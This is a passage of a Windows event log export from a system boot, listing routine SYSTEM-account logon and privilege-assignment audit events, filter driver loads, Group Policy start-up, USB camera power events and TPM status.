Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.700\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.702\t51046\tDHCPv6 client service is started\tInformation\tSystem\tMicrosoft-Windows-DHCPv6-Client\n05.09.2026 08:28:57.709\t5320\tThe Group Policy Client service is currently configured as a standalone service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.709\t5320\tInitializing and reading current service configuration for the Group Policy Client service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.709\t5320\tInitializing service instance state to detect previous instances of the service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.709\t5321\tA previous instance of the Group Policy Client Service was detected. Parameter: 951004af-0f05-4884-8338-5516f9f3e36f\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.712\t6\tFile System Filter 'bfs' (10.0, \u200e2089\u200e-\u200e03\u200e-\u200e04T05:46:40.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.718\t61\tFrameServer FsmDeviceWatcher InternalUpdateSensorGroups Start\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.719\t6\tFile System Filter 'wcifs' (10.0, \u200e2093\u200e-\u200e08\u200e-\u200e15T18:45:54.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.724\t1\t[PDO] (0x0000.0x04.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:57.728\t6\tFile System Filter 'luafv' (10.0, \u200e2080\u200e-\u200e07\u200e-\u200e22T01:18:14.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.747\t2\tWCIFS filter registration succeeded\tInformation\tMicrosoft-Windows-Containers-Wcifs/Operational\tMicrosoft-Windows-Containers-Wcifs\n05.09.2026 08:28:57.749\t8025\tThe Microsoft Passport service started successfully.\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:28:57.756\t6\tFile System Filter 'CldFlt' (10.0, \u200e2096\u200e-\u200e07\u200e-\u200e17T03:30:39.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.756\t1\tFile System Filter 'CldFlt' (Version 10.0, \u200e2096\u200e-\u200e07\u200e-\u200e17T03:30:39.000000000Z) unloaded successfully.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.756\t6\tFile System Filter 'CldFlt' (10.0, \u200e2096\u200e-\u200e07\u200e-\u200e17T03:30:39.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.758\t6\tFile System Filter 'UnionFS' (10.0, \u200e2069\u200e-\u200e02\u200e-\u200e06T03:45:31.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.759\t2\tCLDFLT registration succeeded\tInformation\tMicrosoft-Windows-CloudFiles-Filter/Operational\tMicrosoft-Windows-CloudFiles-Filter\n05.09.2026 08:28:57.763\t10001\tWCMSVC: Start WCM Service Startup\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.764\t6\tFile System Filter 'storqosflt' (10.0, \u200e2051\u200e-\u200e09\u200e-\u200e16T09:31:38.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.772\t6\tFile System Filter 'bindflt' (10.0, \u200e1997\u200e-\u200e10\u200e-\u200e04T07:48:21.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.773\t2\tBINDFLT filter registration succeeded\tInformation\tMicrosoft-Windows-Containers-BindFlt/Operational\tMicrosoft-Windows-Containers-BindFlt\n05.09.2026 08:28:57.777\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.777\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.777\t217\tFilterIrp Pending\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.789\t1003\t\"CDE reported a state change \n\n State: Disconnected. Service is not started. \n\n Name: Wlansvc.\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.789\t1003\t\"CDE reported a state change \n\n State: Disconnected. Service is not started. \n\n Name: Wwansvc.\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.789\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.789\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.789\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.789\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.791\t10002\tWCMSVC: Complete WCM Service Startup\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.793\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.793\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.793\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.793\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.796\t5000\t\"TPM Manufacturer: Intel\nVersion: 2.0\nFirmware Version: 700.19.18.2682\nIs Ready: true\"\tInformation\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:28:57.831\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.831\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.838\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t205\tStop of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t220\tPowerIrp_CheckingPLFRegistry\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t230\tPowerIrp_PassiveWakeupCompleted\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.840\t50\tCamera DeviceMFT InitializeTransform, SymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\GLOBAL\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.843\t6009\tMicrosoft (R) Windows (R) 10.00. 26200  Multiprocessor Free.\tInformation\tSystem\tEventLog\n05.09.2026 08:28:57.844\t6005\tThe Event log service was started.\tInformation\tSystem\tEventLog\n05.09.2026 08:28:57.845\t6013\tThe system uptime is 10 seconds.\tInformation\tSystem\tEventLog\n05.09.2026 08:28:57.856\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.856\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.861\t51\tCamera DeviceMFT InitializeTransform, hr: 0x0\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.867\t222\tStart of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.868\t223\tStop of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.868\t202\tStart of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.868\t203\tStop of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t206\tStart of 